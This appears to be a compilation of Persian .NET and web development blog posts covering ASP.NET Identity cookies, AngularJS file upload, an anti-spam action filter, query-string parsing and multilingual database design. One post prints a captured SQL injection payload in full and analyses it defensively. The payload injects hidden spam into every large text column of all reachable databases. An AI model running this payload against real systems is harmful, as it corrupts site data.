هرچند اطلاعاتی مانند ApplicationUser.Id و SecurityStamp برای یک کاربر، در مرورگرهای مختلف یکسان هستند، اما در مرحله‌ی چهارم، ذکر شد که AuthenticationTicket دارای اطلاعات بیشتری مانند زمان تولید کوکی نیز هست. بنابراین اطلاعات نهایی رمزنگاری شده‌ی در این حالت که در زمان‌های مختلفی تولید شده‌اند، یکسان نخواهند بود.

سؤال: در ساب دومین‌های مختلف دومین مشخصی، چندین برنامه‌ی مختلف نصب شده‌اند. چگونه می‌توان از یک سیستم لاگین ASP.NET Identity برای تمام آن‌ها استفاده کرد؟
برای این منظور نیاز هست خاصیت CookieDomain را به صورت صریح مقدار دهی کرد. برای اینکار فایل Startup.Auth.cs را گشوده و  CookieAuthenticationOptions را تنظیم کنید:
var cookieAuthenticationOptions = new CookieAuthenticationOptions
{
    AuthenticationType  = DefaultAuthenticationTypes.ApplicationCookie,
    LoginPath           = new PathString("/Account/Login"),
    CookieDomain        = ".mydomain.com"
};
البته کار به همینجا ختم نمی‌شود. پس از آن نیاز است به ازای تمام دومین‌های موجود، یک machine key مشخص تنظیم شود. از این جهت که در مرحله‌ی پنجم تولید کوکی، کلاس DpapiDataProtector دات نت، از machine key موجود، برای رمزنگاری اطلاعات استفاده می‌کند و اگر این machine key، به ازای برنامه‌های مختلف متفاوت باشد، کوکی تولید شده، قابل رمزگشایی و استفاده نخواهد بود.
برای اینکار به کنسول IIS مراجعه کرده و گزینه‌ی machine key آن‌را بیابید. در این قسمت بر روی generate keys کلیک کرده و اطلاعات تولیدی را باید به تمام web.config‌های موجود کپی کنید:
<machineKey
  validationKey="DAD9E2B0F9..."
  decryptionKey="ADD1C39C02..."
  validation="SHA1"
  decryption="AES"
/>

سؤال: برنامه‌های مختلفی بر روی یک دومین نصب هستند، اما قصد نداریم از سیستم اعتبارسنجی یکپارچه‌ای برای تمام آن‌ها استفاده کنیم. اما اگر در یکی لاگین کنیم، بلافاصله لاگین در برنامه‌ی دوم منقضی می‌شود، چرا؟
شبیه به همین مساله با Forms Authentication هم وجود دارد. برای رفع آن باید نام کوکی‌های هر برنامه را منحصربفرد کنید و از نام پیش فرض کوکی‌ها استفاده نکنید تا بر روی یکدیگر بازنویسی نشوند. برای اینکار خاصیت CookieName شیء CookieAuthenticationOptions را جداگانه مقدار دهی کنید:
 CookieName = "my-very-own-cookie-name"

سؤال: لاگین انجام شده‌ی در برنامه‌ای که از ASP.NET Identity استفاده می‌کند، زود منقضی می‌شود؛ چرا؟
برای تنظیم صریح زمان انقضای کوکی ASP.NET Identity نیاز است خاصیت ExpireTimeSpan آن‌را مقدار دهی کنید:
 app.UseCookieAuthentication(new CookieAuthenticationOptions
{
     ExpireTimeSpan = TimeSpan.FromHours(24.0),
});

سؤال: کاربر سیستم ASP.NET Identity از سیستم خارج شده‌است (log off کرده) ولی هنوز می‌توان از کوکی پیشین او برای اعتبارسنجی مجدد استفاده کرد. چطور می‌توان این نقیصه‌ی امنیتی را برطرف کرد؟
مشکل از اینجا است:
   public ActionResult LogOff()
  {
      AuthenticationManager.SignOut();
      return RedirectToAction("Index", "Home");
  }
در مثال رسمی ASP.NET Identity یک چنین کدی برای خروج از سیستم ارائه شده‌است. نمونه‌ی امن‌تر آن به صورت زیر است:
[HttpPost]
[ValidateAntiForgeryToken]
public async Task<ActionResult> LogOff()
{
    var user = await UserManager.FindByNameAsync(User.Identity.Name);
    AuthenticationManager.SignOut(DefaultAuthenticationTypes.ApplicationCookie);
    await UserManager.UpdateSecurityStampAsync(user.Id);
    return RedirectToAction("Login", "Account");
}
در اینجا علاوه بر عدم استفاده‌ی از متد بدون پارامتر SignOut (با توجه به خاصیت AuthenticationType ذکر شده‌ی در CookieAuthenticationOptions)، کار به روز رسانی مجدد SecurityStamp کوکی نیز انجام شده‌است. با این تغییر، کوکی موجود بلا استفاده خواهد شد؛ چون دیگر قابل رمزگشایی نیست.
همچنین بهتر است مقدار validateInterval مربوط به SecurityStampValidator.OnValidateIdentity که به صورت پیش فرض 30 دقیقه است را به مقدار کمتری مانند 5 دقیقه تغییر دهید (تنظیمات OnValidateIdentity مربوط به CookieAuthenticationOptions فایل آغارین برنامه). کار این تنظیم، بررسی اعتبار کوکی، در بازه‌های زمانی مشخص شده‌است.

‫فایل آپلود در AngularJs

$
0
0
در این بخش قصد داریم تا به چگونگی آپلود فایل در AngularJs بپردازیم. پلاگین‌های فراوانی جهت آپلود فایل وجود دارند، از جمله ng-file-Upload، angular-file-upload و jquery-file-upload. البته نمونه‌ی ذکر شده‌ی آخر، یکی از پلاگین‌های معروف JQuery است که با AngularJs هم سازگار شده است.
ما قصد داریم تا در این مجموعه از ng-file-upload که توسط Danial Farid  توسعه داده شده است، استفاده نماییم. این پلاگین شامل یک دایرکتیو کم حجم برای مدیریت آپلود فایل سمت کلاینت است و با تمامی تکنولوژی‌های سمت سرور سازگار می‌باشد. صفحه‌ی دمو پلاگین، شامل برخی از امکانات ذکر شده می‌باشد که قرار است به توسعه و بحث پیرامون آن بپردازیم. این مجموعه دارای اسنادمعتبری است که می‌توانید از آن برای توسعه‌ی هر گونه آپلود فایل استفاده نمایید. نسخه‌ی فعلی، نسخه‌ی منتشر شده‌ی 3.0 است. نسخه‌های قبلی این پلاگین نیز در سایت GitHub موجود است.

ویژگی ها

در بخش زیر ویژگی‌های این افزونه که در اسناد آن نیز موجود است، شرح داده شده است:
  • امکان ایجاد progress bar و همچنین قابلیت لغو آپلود.
  • Drag & Drop
  • امکان paste کردن از Clipboard و قابلیت drag & drop از browser
  • امکان resize کردن تصویر قبل از آپلود شدن
  • امکان تغییر دادن orientation تصویر پیش از ارسال
  • قابلیت resume و pause/play در آپلود
  • امکان فیلتر کردن type، size و طول و عرض تصاویر
  • قابلیت تبدیل به Flash shim در صورت عدم پشتیبانی html5 توسط مرورگر

    نصب و پیاده سازی

    برای استفاده‌ی از پلاگین file upload لازم است که دو مجموعه‌ی زیر را توسط Nuget یا Bower دریافت نمایید. پلاگین اول مربوط به مرورگرهایی است که از html5 پشتیبانی نمی‌کنند.
    bower install ng-file-upload-shim --save
    bower install ng-file-upload --save
    پس از اینکه دو کامپوننت فوق را نصب نمودید، دو فایل اسکریپت دریافت شده را به فایل main html اضافه نمایید. پس آن شروع به نوشتن یک مثال ساده می‌کنیم.
      این مثال در JSFIDDLEقرار داده شده است، به این صورت که در این مثال یک فایل آپلود ساده در قالب یک فرم به سرور ارسال می‌گردد. امکانات خیلی ساده نظیر نمایش فایل، پیش از آپلود نیز در این قسمت قرار داده شده است.
      به عنوان اولین گام به کد زیر توجه کنید:
      <input type="file" ngf-select ng-model="picFile" name="file" accept="image/*" ngf-max-size="2MB" required>
      تکه کد فوق مربوط به تگ آپلود فایل است که به توضیح آن خواهیم پرداخت. ngf-select Attribute دایرکتیوی برای تبدیل فایل آپلود، به ng-file-upload است. شما به طور کلی به دو صورت قادر هستید که این کار را انجام دهید. مورد اول ngf-select بود و مورد بعدی ngf-drop است. ngf-drop به گونه‌ای دیگر نوشته می‌شود و کد زیر یک مورد استفاده‌ی از ngf-drop می‌باشد.
      <div ngf-drop ng-model="picFile" ngf-pattern="image/*">
           ...</div>
      همانطور که ملاحظه می‌کنید در این نوع فراخوانی، یک تگ div به یک file select مبدل شده که در مورد آن صحبت خواهیم نمود. همانطور که مشاهده می‌کنید، شما قادرید تا با استفاده از Attribute ایی با نام accept، فایل‌های ارسالی را از لحاظ محتوایی فیلتر کنید. در کد فوق image/* این مفهوم را می‌رساند که شما قادرید فایل‌های تصویری و با هر فرمتی را به سرور ارسال نمایید. اما اگر آن را به صورت image/jpg بنویسیم این عملیات تنها به تصاویر با فرمت jpeg منتهی می‌شود. مورد بعدی محدودیت حجمی تصویر است. شما با ngf-max-size و مقداری که درون آن قرار می‌دهید، قادرید تا محدودیت حجمی را بر روی فایل‌های ارسالی به سرور اعمال نمایید. اگر با نوشتار form validationها در Angular آشنا باشید، به سادگی قادرید تا خطاهایی را که کاربر ممکن است در حین آپلود انجام دهد، به او گوشزد کنید. به کد زیر توجه کنید:
      <i ng-show="myForm.file.$error.required">*required</i><br><i ng-show="myForm.file.$error.maxSize">
      File too large: max is 2M</i>
      همانطور که مشاهده می‌کنید syntax نمایش خطاها دقیقا مانند نمایش خطاها در validation فرم‌های انگیولاری است.
      و اما اینکه چه کارهایی نیاز است تا در سمت Controller انجام دهیم. اول اینکه لازم است شما dependency ngFileUpload زیر را به app.module اضافه نمایید. حال اینکه پس از inject کردن این وابستگی، تنها کافیست که وابستگی Upload را به کنترلر تزریق نمایید. این وابستگی وظیفه‌ی ارسال فایل به سرور را بر عهده دارد. به مثال زیر توجه نمایید:
      app.controller('MyCtrl', ['$scope', 'Upload', '$timeout', function ($scope, Upload, $timeout) {
          // the method uploadPic called from Angular View
      $scope.uploadPic = function(file) {
          file.upload = Upload.upload({
            url: 'https://angular-file-upload-cors-srv.appspot.com/upload',
            data: {file: file, otherData: $scope.otherData},
          });
      
          file.upload.then(function (response) {
      // waiting for response
              $timeout(function () {
      file.result = response.data;
              });
          }, function (response) {
      //error
              if (response.status > 0)
      $scope.errorMsg = response.status + ': ' + response.data;
          }, function (evt) {
      //progress
              file.progress = Math.min(100, parseInt(100.0 * evt.loaded / evt.total));
      console.log(file.progress);
          });
          }
      }]);
      تمام عملیات در قالب یک فراخواننده‌ی ng-click از سوی view آغاز شده‌است. با این رخداد، متد uploadPic که همراه آن فایل attach شده نیز به عنوان پارامتر ارسال می‌گردد، فرخوانی می‌شود و کلیه‌ی کارها طی عملیات post، توسط وابستگی Upload برای سرور ارسال می‌گردد. همانند http$ درون بلاک then سه متد Success ، Error و progress پیاده‌سازی شده است. البته اگر به فرایند مقداردهی Url و data توجه کنید می‌بینید که فایل‌ها نیز درون data قرار گرفته‌اند. شما برای ارسال فایل‌ها می‌توانید از وابستگی upload$ نیز استفاده کنید که مثالی هم در این زمینه در mono-software.com پیاده‌سازی شده است که از ng-file-uploadو در سمت سرور، از ASP.NET Web API استفاده می‌کند. در این مثال چندین فایل به صورت غیر همزمان برای سرور ارسال می‌گردند.
      توحه داشته باشید که شما برای uploadهای ساده، قادر هستید تا دایرکتیو خاص خود را نوشته و از آن استفاده نمایید. در msdn نمونه‌ای از این کار، یعنی نوشتن دایرکتیو فایل آپلود، به طور کامل پیاده‌سازی شده است. اما مزیت ng-file-upload این است که این پلاگین، با بسیاری از پلاگین‌های 3rd party دیگر مانند ng-image-crop به خوبی همگام شده‌است. مثالی از آن را می‌توانید در اینجامشاهده نمایید.
      در این مقاله، هدف کلی، چگونگی فایل آپلود در AngularJs و پس از آن معرفی و بررسی ویژگی‌ها و همچنین تشریح عملکرد ng-file-upload بود. این افزونه قابلیت‌های فراوان دیگری نیز دارد که بنابر نیاز می‌توانید در کد‌های خود از آن‌ها استفاده نمایید.

      ‫جلوگیری از ارسال Spam در ASP.NET MVC

      $
      0
      0
      در هر وب‌سایتی که فرمی برای ارسال اطلاعات به سرور موجود باشد، آن وب سایت مستعد ارسال اسپم و بمباران درخواست‌های متعدد خواهد بود. در برخی موارد استفاده از کپچا می‌تواند راه خوبی برای جلوگیری از ارسال‌های مکرر و مخرب باشد، ولی گاهی اوقات سناریوی ما به شکلی است که امکان استفاده از کپچا، به عنوان یک مکانیزم امنیتی مقدور نیست.
      اگر شما یک فرم تماس با ما داشته باشید استفاده از کپچا یک مکانیزم امنیتی معقول می‌باشد و همچنین اگر فرمی جهت ارسال پست داشته باشید. اما در برخی مواقع مانند فرمهای ارسال کامنت، پاسخ، چت و ... امکان استفاده از این روش وجود ندارد و باید به فکر راه حلی مناسب برای مقابل با درخواست‌های مخرب باشیم.
      اگر شما هم به دنبال تامین امنیت سایت خود هستید و دوست ندارید که وب سایت شما (به دلیل کمبود پهنای باند یا ارسال مطالب نامربوط که گاهی اوقات به صدها هزار مورد می‌رسد) از دسترس خارج شود این آموزش را دنبال کنید.
      برای این منظور ما از یک ActionFilter برای امضای ActionMethodهایی استفاده می‌کنیم که باید با ارسالهای متعدد از سوی یک کاربر مقابله کنند. این ActionFilter  باید قابلیت تنظیم حداقل زمان بین درخواستها را داشته باشد و اگر درخواستی در زمانی کمتر از مدت مجاز تعیین شده برسد، به نحوی مطلوبی به آن رسیدگی کند.
      پس از آن ما نیازمند مکانیزمی هستیم تا درخواست‌های رسیده‌ی از سوی هرکاربر را به شکلی کاملا خاص و یکتا شناسایی کند. راه حلی که قرار است در این ActionFilter  از آن استفاده کنم به شرح زیر است:
      ما به دنبال آن هستیم که یک شناسه‌ی منحصر به فرد را برای هر درخواست ایجاد کنیم. لذا از اطلاعات شیئ Request جاری برای این منظور استفاده می‌کنیم.
      1) IP درخواست جاری (قابل بازیابی از هدر HTTP_X_FORWARDED_FOR یا REMOTE_ADDR)
      2) مشخصات مرورگر کاربر (قابل بازیابی از هدر USER_AGENT)
      3) آدرس درخواست جاری (برای اینکه شناسه‌ی تولیدی کاملا یکتا باشد، هرچند می‌توانید آن را حذف کنید)

      اطلاعات فوق را در یک رشته قرار می‌دهیم و بعد Hash آن را حساب می‌کنیم. به این ترتیب ما یک شناسه منحصر فرد را از درخواست جاری ایجاد کرده‌ایم.

      مرحله بعد پیاده سازی مکانیزمی برای نگهداری این اطلاعات و بازیابی آن‌ها در هر درخواست است. ما برای این منظور از سیستم Cache استفاده می‌کنیم؛ هرچند راه حل‌های بهتری هم وجود دارند.
      بنابراین پس از ایجاد شناسه یکتای درخواست، آن را در Cache قرار می‌دهیم و زمان انقضای آن را هم پارامتری که ابتدای کار گفتم قرار می‌دهیم. سپس در هر درخواست Cache را برای این مقدار یکتا جستجو می‌کنیم. اگر شناسه پیدا شود، یعنی در کمتر از زمان تعیین شده، درخواست مجددی از سوی کاربر صورت گرفته است و اگر شناسه در Cache موجود نباشد، یعنی درخواست رسیده در زمان معقولی صادر شده است.
      باید توجه داشته باشید که تعیین زمان بین هر درخواست به ازای هر ActionMethod خواهد بود و نباید آنقدر زیاد باشد که عملا کاربر را محدود کنیم. برای مثال در یک سیستم چت، زمان معقول بین هر درخواست 5 ثانیه است و در یک سیستم ارسال نظر یا پاسخ، 10 ثانیه. در هر حال بسته به نظر شما این زمان می‌تواند قابل تغییر باشد. حتی می‌توانید کاربر را مجبور کنید که در روز فقط یک دیدگاه ارسال کند!

      قبل از پیاده سازی سناریوی فوق، در مورد نقش گزینه‌ی سوم در شناسه‌ی درخواست، لازم است توضیحاتی بدهم. با استفاده از این خصوصیت (یعنی آدرس درخواست جاری) شدت سختگیری ما کمتر می‌شود. زیرا به ازای هر آدرس، شناسه‌ی تولیدی متفاوت خواهد بود. اگر فرد مهاجم، برنامه‌ای را که با آن اسپم می‌کند، طوری طراحی کرده باشد که مرتبا درخواست‌ها را به آدرس‌های متفاوتی ارسال کند، مکانیزم ما کمتر با آن مقابله خواهد کرد.
      برای مثال فرد مهاجم می‌تواند در یک حلقه، ابتدا درخواستی را به AddComment بدهد، بعد AddReply و بعد SendMessage. پس همانطور که می‌بینید اگر از پارامتر سوم استفاده کنید، عملا قدرت مکانیزم ما به یک سوم کاهش می‌یابد.
      نکته‌ی دیگری که قابل ذکر است اینست که این روش راهی برای تشخیص زمان بین درخواست‌های صورت گرفته از کاربر است و به تنهایی نمی‌تواند امنیت کامل را برای مقابله با اسپم‌ها، مهیا کند و باید به فکر مکانیزم دیگری برای مقابله با کاربری که درخواست‌های نامعقولی در مدت زمان کمی می‌فرستد پیاده کنیم (پیاده سازی مکانیزم تکمیلی را در آینده شرح خواهم داد).
      اکنون نوبت پیاده سازی سناریوی ماست. ابتدا یک کلاس ایجاد کنید و آن را از ActionFilterAttribute مشتق کنید و کدهای زیر را وارد کنید:
      using System;
      using System.Linq;
      using System.Web.Mvc;
      using System.Security.Cryptography;
      using System.Text;
      using System.Web.Caching;
      
      namespace Parsnet.Core
      {
          public class StopSpamAttribute : ActionFilterAttribute
          {
              // حداقل زمان مجاز بین درخواست‌ها برحسب ثانیه
              public int DelayRequest = 10;
      
              // پیام خطایی که در صورت رسیدن درخواست غیرمجاز باید صادر کنیم
              public string ErrorMessage = "درخواست‌های شما در مدت زمان معقولی صورت نگرفته است.";
      
              //خصوصیتی برای تعیین اینکه آدرس درخواست هم به شناسه یکتا افزوده شود یا خیر
              public bool AddAddress = true;
      
      
              public override void OnActionExecuting(ActionExecutingContext filterContext)
              {
                  // درسترسی به شئی درخواست
                  var request = filterContext.HttpContext.Request;
      
                  // دسترسی به شیئ کش
                  var cache = filterContext.HttpContext.Cache;
      
                  // کاربر IP بدست آوردن
                  var IP = request.ServerVariables["HTTP_X_FORWARDED_FOR"] ?? request.UserHostAddress;
      
                  // مشخصات مرورگر
                  var browser = request.UserAgent;
      
                  // در اینجا آدرس درخواست جاری را تعیین می‌کنیم
                  var targetInfo = (this.AddAddress) ? (request.RawUrl + request.QueryString) : "";
      
                  // شناسه یکتای درخواست
                  var Uniquely = String.Concat(IP, browser, targetInfo);
      
      
                  //در اینجا با کمک هش یک امضا از شناسه‌ی درخواست ایجاد می‌کنیم
                  var hashValue = string.Join("", MD5.Create().ComputeHash(Encoding.ASCII.GetBytes(Uniquely)).Select(s => s.ToString("x2")));
      
                  // ابتدا چک می‌کنیم که آیا شناسه‌ی یکتای درخواست در کش موجود نباشد
                  if (cache[hashValue] != null)
                  {
                      // یک خطا اضافه می‌کنیم ModelState اگر موجود بود یعنی کمتر از زمان موردنظر درخواست مجددی صورت گرفته و به
                      filterContext.Controller.ViewData.ModelState.AddModelError("ExcessiveRequests", ErrorMessage);
                  }
                  else
                  {
                      // اگر موجود نبود یعنی درخواست با زمانی بیشتر از مقداری که تعیین کرده‌ایم انجام شده
                      // پس شناسه درخواست جدید را با پارامتر زمانی که تعیین کرده بودیم به شیئ کش اضافه می‌کنیم
                      cache.Add(hashValue, true, null, DateTime.Now.AddSeconds(DelayRequest), Cache.NoSlidingExpiration, CacheItemPriority.Default, null);
                  }
      
                  base.OnActionExecuting(filterContext);
              }
          }
      }
      و حال برای استفاده از این مکانیزم امنیتی ActionMethod مورد نظر را با آن امضا می‌کنیم:
      [HttpPost]
              [StopSpam(DelayRequest = 5)]
              [ValidateAntiForgeryToken]
              public virtual async Task<ActionResult> SendFile(HttpPostedFileBase file, int userid = 0)
              { 
              }
      
      [HttpPost]
              [StopSpam(DelayRequest = 30, ErrorMessage = "زمان لازم بین ارسال هر مطلب 30 ثانیه است")]
              [ValidateAntiForgeryToken]
              public virtual async Task<ActionResult> InsertPost(NewPostModel model)
              {
              }

      همانطور که گفتم این مکانیزم تنها تا حدودی با درخواست‌های اسپم مقابله میکند و برای تکمیل آن نیاز به مکانیزم دیگری داریم تا بتوانیم از ارسالهای غیرمجاز بعد از زمان تعیین شده جلوگیری کنیم.

      به توجه به دیدگاه‌های مطرح شده اصلاحاتی در کلاس صورت گرفت و قابلیتی به آن اضافه گردید که بتوان مکانیزم اعتبارسنجی را کنترل کرد.
      برای این منظور خصوصیتی به این ActionFilter افزوده شد تا هنگامیکه داده‌های فرم معتبر نباشند و در واقع هنوز چیزی ثبت نشده است این مکانیزم را بتوان کنترل کرد. خصوصیت CheckResult باعث میشود تا اگر داده‌های مدل ما در اعتبارسنجی، معتبر نبودند کلید افزوده شده به کش را حذف تا کاربر بتواند مجدد فرم را ارسال کند. مقدار آن به طور پیش فرض true است و اگر برابر false قرار بگیرد تا اتمام زمان تعیین شده در مکانیزم ما، کاربر امکان ارسال مجدد فرم را ندارد.
      همچنین باید بعد از اتمام عملیات در صورت عدم موفقیت آمیز بودن آن به ViewBag یک خصوصیت به نام ExecuteResult اضافه کنید و مقدار آن را برابر false قرار دهید. تا کلید از کش حذف گردد.
      نحوه استفاده آن هم به شکل زیر می‌باشد:
              [HttpPost]
              [StopSpam(AddAddress = true, DelayRequest = 20)]
              [ValidateAntiForgeryToken]
              public Task<ActionResult> InsertPost(NewPostModel model)
              {
                  if (ModelState.IsValid)
                  {
                      var newPost = dbContext.InsertPost(model);
                      if (newPost != null)
                      {
                          ViewBag.ExecuteResult = true;
                      }
                  }
      
                  if (ModelState.IsValidField("ExcessiveRequests") == true)
      {
      ViewBag.ExecuteResult = false;
      }
      return View(); }

      فایل ضمیمه را می‌توانید از زیر دانلود کنید:
      StopSpamAttribute.rar

      ‫نمونه‌ای از تزریق اس کیوال جهت درج تبلیغات مخفی شده‌ی در رکوردهای سایت

      $
      0
      0
      مدتی هست در لاگ‌های ELMAHسایت، یک چنین تزریق‌های اس کیوال ناموفقی مشاهده می‌شوند:


      اگر اخیرا به دیتابیس شما رکوردهایی با divهای نامرئی ("div style="display:none) که داخل آن‌ها تبلیغات یک سری سایت‌های کذایی وجود دارند، اضافه شده‌اند، حتما مورد حمله‌ی SQL Injection فوق واقع شده‌اید.

      مواردی را که باید بررسی کنید:
      الف) آیا در سایت، قسمت ثبت ارجاعات را دارید؟
      قبل از اینکه HTTP Referrer را بررسی کنید، یکبار آن‌را به عنوان پارامتر سازنده‌ی new Uri قرار دهید. به این صورت این حمله دقیقا در همین مرحله، با صدور یک استثناء، به علت معتبر نبودن آدرس دریافتی متوقف می‌شود:


      ب) آیا در سایت، نوع مرورگرهای کاربران را نیز ذخیره می‌کنید؟
      با توجه به شکل اول، این حمله تنها زمانی مؤثر خواهد بود که از کوئری‌های غیرپارامتری و یا از ORMهااستفاده نمی‌کنید.

      ج) آیا به محتوای دریافت شده‌ی از طریق کوئری استرینگ‌ها دقت دارید؟
      این مورد نیز همانند حالت ب است.


      بررسی ساختار این حمله

      کوئری ارسالی (البته با حذف آدرس سایت‌های کذایی آن)، یک چنین فرمتی را دارد:
      DECLARE @b AS CURSOR;
      
      DECLARE @s AS VARCHAR (8000);
      
      DECLARE @w AS VARCHAR (99);
      
      SET @b = CURSOR    FOR SELECT DB_NAME()        UNION        SELECT name        FROM   sys.databases        WHERE  (has_dbaccess(name) != 0)               AND name NOT IN ('master', 'tempdb', 'model', 'msdb', DB_NAME());
      
      OPEN @b;
      
      FETCH NEXT FROM @b INTO @w;
      
      WHILE @@FETCH_STATUS = 0    BEGIN        SET @s = 'begin try use ' + @w + ';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set 
      [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''<div style="display:none">desi adult stories <a 
      href="http://www.site.com/">''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''stories'''' when 1 then ''''read'''' else ''''stories'''' end +''''</a> stories</div>'''' 
      else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME 
      WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while 
      @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';        EXECUTE (@s);        FETCH NEXT FROM @b INTO @w;    END
      
      CLOSE @b;
      در اینجا ابتدا لیست بانک‌های اطلاعاتی موجود دریافت می‌شوند. سپس با استفاده از try/catch سعی در به روز رسانی رکوردهای جداولی که دارای فیلدهایی از نوع varchar یا nvarchar از نوع max هستند، می‌کند. از try/catch هم به این دلیل استفاده کرده‌است که در یک سایت اشتراکی، شما فقط به بانک اطلاعاتی خودتان دسترسی دارید و البته اگر از کاربر sa استفاده می‌کنید که ... هم اکنون تمام بانک‌های اطلاعاتی شما آلوده شده‌اند!
      به روز رسانی آن هم رندام است. یعنی در یک سری رکورد، بر اساس case نوشته شده، تبلیغ خواندن و در یک سری دیگر، تبلیغ داستانی را در انتهای آن‌ها درج می‌کند.

      ‫نحوه‌ی خواندن مقادیر Query String با استفاده از جاوااسکریپت

      $
      0
      0

      در این مقاله، به نحوه‌ی دریافت مقادیر Query String با استفاده از زبان جاوااسکریپت خواهیم پرداخت. گاها در پروژه‌ها نیاز است تا کاربر را با پارامترهایی به صورت query string، به صفحه‌ای دیگر منتقل کنیم. با این حال به دو صورت می‌توان این مقادیر را فراخوانی نمود:

      1. فراخوانی سمت سرور
      2. فراخوانی سمت کلاینت

      زمانیکه صحبت از کد نویسی سمت کلاینت می‌شود، گزینه‌ی بهتری بجز JavaScript وجود ندارد؛ که البته بسیار کارا و پر کاربرد است.

      برای دریافت query string با زبان جاوااسکریپت می‌توان از کد زیر استفاده کرد: 

      <script>
          (function () {
              // we can call getQueryStringByName from anywhere we want
              var result = getQueryStringByName('id');
              alert(result);
          })();
      
          function getQueryStringByName(name) {
              name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");
              var regex = new RegExp("[\\?&]" + name + "=([^&#]*)"),
                  results = regex.exec(location.search);
              return results === null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
          }</script>

      getQueryStringByName:

      با استفاده از این متد می‌توان به query stringدسترسی یافت. تابع getQueryStringByNameحاوی یک ورودی می‌باشد که باید نام query string در آن قرار گیرد. در مثال بالا نام query string برابر است با languageکه بعد از اجرای پروژه، مقدار آن به صورت دیالوگ نمایش داده می‌شود. 

      برای دانلود پروژه اینجا کلیک کنید. 

      ‫تکنیک‌های ایجاد سایت‌های چند زبانه

      $
      0
      0
      امروزه چند زبانه بودن سایت‌ها، از اهمیت بالایی برخوردار شده است و هر سایتی که نیاز داشته باشد در سایر نقاط جهان شناخته شود و کاربران مناطق مختلف، به راحتی از آن استفاده کنند، سایت‌های خود را بر پایه‌ی چندین زبان ایجاد می‌کنند. در این نوشتار سعی داریم بر این موضوع بررسی اجمالی داشته باشیم و نکات زیر را بررسی نماییم.

      • طراحی دیتابیس یا بانک اطلاعاتی بر پایه چند زبانه بودن و بررسی سناریوهای مختلف.
      • نکاتی که باید در ساخت سایت‌های چند زبانه به آن‌ها دقت کرد.
      • شیوه‌ی تشخیص و تغییر زبان سایت
      • معرفی چند کامپوننت وب، برای مباحث چند زبانه

      طراحی مدل دیتابیس

      اولین کار برای داشتن یک سایت چند زبانه، این است که یک مدل صحیح و مناسب را برای دیتابیس خود انتخاب کنید. یکی از اولین روش‌هایی که به ذهن هر فردی می‌رسد این است که برای هر ستون متنی که قرار است چند زبانه باشد، به تعداد زبان‌ها برایش یک ستون در نظر بگیریم. یعنی برای جدول مقالات که قرار است در سه زبان فارسی و انگلیسی و عربی باشد، سه ستون برای عنوان مقاله و سه ستون نیز برای متن آن داشته باشیم. تصویر زیر نمونه‌ای از این مدل را نشان می‌دهد.

      مزایا:

      1. پیاده سازی آسان

      معایب:

      1. در این روش با زیاد شدن هر زبان، تعداد ستون‌ها افزایش می‌یابد که باعث می‌شود طراحی مناسبی نداشته باشد.
      2. در ضمن این مورد باید توسط برنامه نویس مرتبا اضافه گردد یا اینکه برنامه نویس این امکان را در سیستم قرار دهد که مدیر سایت بتواند در پشت صحنه کوئری افزودن ستون را ایجاد کند که باید جدول مرتبا مورد alter گرفتن قرار بگیرد.
      3. ممکن است همیشه برای هر زبانی مطلبی قرار نگیرد و این مورد باعث می‌شود بی جهت فضایی برای آن در نظر گرفته شود.

      پی نوشت: با اینکه امروزه بحث فیلدهای sparse Column وجود دارد ولی این فیلد‌ها در هر شرایطی مورد استفاده قرار نمی‌گیرند وبیشتر متعلق به زمانی است که می‌دانیم آن فیلد به شدت کم مورد استفاده قرار می‌گیرد.

      پی نوشت دوم : در صورتی که فیلد شما مانند متن مقاله که عموما از نوع داده (varchar(max است استفاده می‌کنید و در صورتی که زبان مورد استفاده قرار نگیرد در خیلی از اوقات بی جهت فیلد‌های Blob ساخته اید که بهینه سازی آن را نیز باید در نظر بگیرید.


      در مرحله‌ی بعدبرای رفع مشکلات بالا یک جدول از زبان‌ها، مانند جدول زیر را ایجاد می‌کنیم:
       
       ID کد
       Language زبان
       ISO کد دو رقمی آن زبان
       Flag پرچم آن کشور
      بعد از آن هر مقاله برای یک زبان ایجاد خواهد شد؛ چیزی مانند تصویر زیر:

      مزایا:

      1. پیاده سازی آسان

      معایب:

      1. ایجاد رکوردهای تکراری، هر مقاله برای بعضی از اطلاعاتش که چند زبانه نیستند داده‌های تکراری خواهد داشت.
      2. هر مقاله یک مقاله‌ی جدا شناخته می‌شود و ارتباطی میان آنان نخواهد بود. بدین ترتیب توانایی ایجاد گزارش‌هایی چون هر گروه از مقاله و دسته بندی آن‌ها از بین خواهد رفت. در ضمن مدیر عموما در یک سیستم مدیریتی می‌خواهد تنها یک لینک را به یک مقاله بدهد و سایت بنا به تشخیص در زبان مزبور، یکی از این مقالات را به کاربر نمایش دهد؛ نه اینکه مرتبا مدیر برای هر زبان، لینکی را مهیا کند و در این حالت چنین چیزی ممکن نخواهد بود.
      3. در یک سیستم فروشگاهی همانند تصویر بالا کار هم سخت‌تر می‌شود و هر رکورد، یک محصول جدا شناخته می‌شود و ویرایش‌ها هم برای هر کدام باید جداگانه صورت بگیرد که در عمل این طرح را رد می‌کند.


      سومین راه حل این است که سه جدول ایجاد کنیم:

      یک. جدول زبان‌ها (که بالاتر ایجاد شده بود)

      دو . جدول نام مقاله به همراه اطلاعات پایه و فیلدها بی نیاز به چند زبانه بودن

      سه : یک جدول که هر دو ستون آن کدهای کلید دو جدول بالا را دارند و فیلدهای چند زبانه در آن وجود دارند.

      جدول پایه

       ID کد
       Name نام مقاله
       CreationDate تاریخ ایجاد
       Writer نویسنده
       Visibilty وضعیت نمایش
       جدول مقالات
       LanguageCodeکد زبان
       ArticleID کد مقاله
       CreationDate تاریخ ایجاد
       Visibility وضعیت نمایش مقاله
      Title
      عنوان مقاله
      ContentText
      متن مقاله

